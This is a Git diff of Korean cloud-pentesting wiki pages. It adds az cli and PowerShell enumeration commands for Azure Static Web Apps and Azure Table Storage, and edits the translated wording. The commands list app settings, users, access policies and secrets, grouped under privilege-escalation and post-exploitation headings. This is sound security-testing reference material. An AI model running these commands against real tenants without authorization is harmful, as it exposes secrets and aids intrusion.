자세한 내용은 https://learn.microsoft.com/en-us/azure/static-web-apps/key-vault-secrets에서 Azure 가이드를 참조하여 정적 앱에서 금고 비밀을 사용하는 방법을 확인할 수 있습니다.
|
||||
|
||||
## 열거
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="az cli" %}
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
# List Static Webapps
|
||||
az staticwebapp list --output table
|
||||
@@ -107,13 +111,66 @@ az rest --method POST \
|
||||
# Check connected backends
|
||||
az staticwebapp backends show --name <name> --resource-group <res-group>
|
||||
```
|
||||
## 웹 앱 생성 예제
|
||||
{% endcode %}
|
||||
{% endtab %}
|
||||
|
||||
다음 링크에서 웹 앱을 생성하는 좋은 예제를 찾을 수 있습니다: [https://learn.microsoft.com/en-us/azure/static-web-apps/get-started-portal?tabs=react&pivots=github](https://learn.microsoft.com/en-us/azure/static-web-apps/get-started-portal?tabs=react&pivots=github)
|
||||
{% tab title="Az PowerShell" %}
|
||||
{% code overflow="wrap" %}
|
||||
```powershell
|
||||
Get-Command -Module Az.Websites
|
||||
|
||||
# Retrieves details of a specific Static Web App in the specified resource group.
|
||||
Get-AzStaticWebApp -ResourceGroupName <ResourceGroupName> -Name <Name>
|
||||
|
||||
# Retrieves the build details for a specific Static Web App.
|
||||
Get-AzStaticWebAppBuild -ResourceGroupName <ResourceGroupName> -Name <Name>
|
||||
|
||||
# Retrieves the application settings for a specific build environment in a Static Web App.
|
||||
Get-AzStaticWebAppBuildAppSetting -ResourceGroupName <ResourceGroupName> -Name <Name> -EnvironmentName <EnvironmentName>
|
||||
|
||||
# Retrieves functions for a specific build environment in a Static Web App.
|
||||
Get-AzStaticWebAppBuildFunction -ResourceGroupName <ResourceGroupName> -Name <Name> -EnvironmentName <EnvironmentName>
|
||||
|
||||
# Retrieves function app settings for a specific build environment in a Static Web App.
|
||||
Get-AzStaticWebAppBuildFunctionAppSetting -ResourceGroupName <ResourceGroupName> -Name <Name> -EnvironmentName <EnvironmentName>
|
||||
|
||||
# Retrieves the configured roles for a Static Web App.
|
||||
Get-AzStaticWebAppConfiguredRole -ResourceGroupName <ResourceGroupName> -Name <Name>
|
||||
|
||||
# Retrieves the custom domains configured for a Static Web App.
|
||||
Get-AzStaticWebAppCustomDomain -ResourceGroupName <ResourceGroupName> -Name <Name>
|
||||
|
||||
# Retrieves details of the functions associated with a Static Web App.
|
||||
Get-AzStaticWebAppFunction -ResourceGroupName <ResourceGroupName> -Name <Name>
|
||||
|
||||
# Retrieves the app settings for the function app associated with a Static Web App.
|
||||
Get-AzStaticWebAppFunctionAppSetting -ResourceGroupName <ResourceGroupName> -Name <Name>
|
||||
|
||||
# Retrieves the secrets for a Static Web App.
|
||||
Get-AzStaticWebAppSecret -ResourceGroupName <ResourceGroupName> -Name <Name>
|
||||
|
||||
# Retrieves general app settings for a Static Web App.
|
||||
Get-AzStaticWebAppSetting -ResourceGroupName <ResourceGroupName> -Name <Name>
|
||||
|
||||
# Retrieves user details for a Static Web App with a specified authentication provider.
|
||||
Get-AzStaticWebAppUser -ResourceGroupName <ResourceGroupName> -Name <Name> -AuthProvider <AuthProvider>
|
||||
|
||||
# Retrieves user-provided function apps associated with a Static Web App.
|
||||
Get-AzStaticWebAppUserProvidedFunctionApp -ResourceGroupName <ResourceGroupName> -Name <Name>
|
||||
|
||||
```
|
||||
{% endcode %}
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
|
||||
## 웹 앱 생성 예시
|
||||
|
||||
다음 링크에서 웹 앱을 생성하는 좋은 예시를 찾을 수 있습니다: [https://learn.microsoft.com/en-us/azure/static-web-apps/get-started-portal?tabs=react&pivots=github](https://learn.microsoft.com/en-us/azure/static-web-apps/get-started-portal?tabs=react&pivots=github)
|
||||
|
||||
1. https://github.com/staticwebdev/react-basic/generate 리포지토리를 포크하여 GitHub 계정에 `my-first-static-web-app`이라는 이름으로 저장합니다.
|
||||
2. Azure 포털에서 GitHub 액세스를 구성하고 이전에 포크한 새 리포지토리를 선택하여 Static Web App을 생성합니다.
|
||||
3. 생성한 후 몇 분 기다리고 새 페이지를 확인하세요!
|
||||
2. Azure 포털에서 GitHub 접근을 구성하고 이전에 포크한 새 리포지토리를 선택하여 Static Web App을 생성합니다.
|
||||
3. 생성한 후 몇 분 기다리고, 새 페이지를 확인하세요!
|
||||
|
||||
## 권한 상승 및 포스트 익스플로잇
|
||||
|
||||
|
||||
@@ -6,23 +6,23 @@
|
||||
|
||||
**Azure Table Storage**는 대량의 구조화된 비관계형 데이터를 저장하기 위해 설계된 NoSQL 키-값 저장소입니다. 높은 가용성, 낮은 대기 시간 및 대규모 데이터 세트를 효율적으로 처리할 수 있는 확장성을 제공합니다. 데이터는 테이블로 구성되며, 각 엔터티는 파티션 키와 행 키로 식별되어 빠른 조회를 가능하게 합니다. 데이터는 안전하고 관리되는 저장소를 위해 암호화, 역할 기반 액세스 제어 및 공유 액세스 서명과 같은 기능을 지원하여 다양한 애플리케이션에 적합합니다.
|
||||
|
||||
테이블 저장소에 대한 **내장 백업 메커니즘은 없습니다**.
|
||||
테이블 저장소에 **내장된 백업 메커니즘이 없습니다**.
|
||||
|
||||
### 키
|
||||
|
||||
#### **PartitionKey**
|
||||
|
||||
- **PartitionKey는 엔터티를 논리적 파티션으로 그룹화합니다**. 동일한 PartitionKey를 가진 엔터티는 함께 저장되어 쿼리 성능과 확장성을 향상시킵니다.
|
||||
- 예: 직원 데이터를 저장하는 테이블에서 `PartitionKey`는 부서를 나타낼 수 있습니다, 예를 들어 `"HR"` 또는 `"IT"`.
|
||||
- 예: 직원 데이터를 저장하는 테이블에서 `PartitionKey`는 부서를 나타낼 수 있습니다, 예를 들어, `"HR"` 또는 `"IT"`.
|
||||
|
||||
#### **RowKey**
|
||||
|
||||
- **RowKey는 파티션 내에서 엔터티의 고유 식별자입니다**. PartitionKey와 결합될 때, 테이블의 각 엔터티가 전 세계적으로 고유한 식별자를 갖도록 보장합니다.
|
||||
- 예: `"HR"` 파티션의 경우, `RowKey`는 직원 ID일 수 있습니다, 예를 들어 `"12345"`.
|
||||
- 예: `"HR"` 파티션의 경우, `RowKey`는 직원 ID일 수 있습니다, 예를 들어, `"12345"`.
|
||||
|
||||
#### **기타 속성 (사용자 정의 속성)**
|
||||
|
||||
- PartitionKey와 RowKey 외에도 엔터티는 데이터를 저장하기 위한 추가 **사용자 정의 속성을 가질 수 있습니다**. 이는 사용자 정의이며 전통적인 데이터베이스의 열처럼 작용합니다.
|
||||
- PartitionKey와 RowKey 외에도, 엔터티는 데이터를 저장하기 위한 추가 **사용자 정의 속성을 가질 수 있습니다**. 이는 사용자 정의이며 전통적인 데이터베이스의 열처럼 작용합니다.
|
||||
- 속성은 **키-값 쌍**으로 저장됩니다.
|
||||
- 예: `Name`, `Age`, `Title`은 직원에 대한 사용자 정의 속성이 될 수 있습니다.
|
||||
|
||||
@@ -69,6 +69,8 @@ Get-AzStorageAccount
|
||||
|
||||
# List tables
|
||||
Get-AzStorageTable -Context (Get-AzStorageAccount -Name <mystorageaccount> -ResourceGroupName <ResourceGroupName>).Context
|
||||
|
||||
Get-AzStorageTableStoredAccessPolicy -Table <Table> -Context (Get-AzStorageAccount -Name <mystorageaccount -ResourceGroupName <ResourceGroupName>).Context
|
||||
```
|
||||
{{#endtab}}
|
||||
{{#endtabs}}
|
||||
@@ -78,11 +80,11 @@ Get-AzStorageTable -Context (Get-AzStorageAccount -Name <mystorageaccount> -Reso
|
||||
|
||||
> [!TIP]
|
||||
> 사용할 계정 키를 나타내려면 `--account-key` 매개변수를 사용하십시오.\
|
||||
> SAS 토큰을 사용하여 액세스하려면 SAS 토큰과 함께 `--sas-token` 매개변수를 사용하십시오.
|
||||
> SAS 토큰을 통해 액세스하려면 SAS 토큰과 함께 `--sas-token` 매개변수를 사용하십시오.
|
||||
|
||||
## Privilege Escalation
|
||||
|
||||
저장소 권한 상승과 동일합니다:
|
||||
저장소 privesc와 동일합니다:
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-storage-privesc.md
|
||||
|
||||
Reference in New Issue
Block a user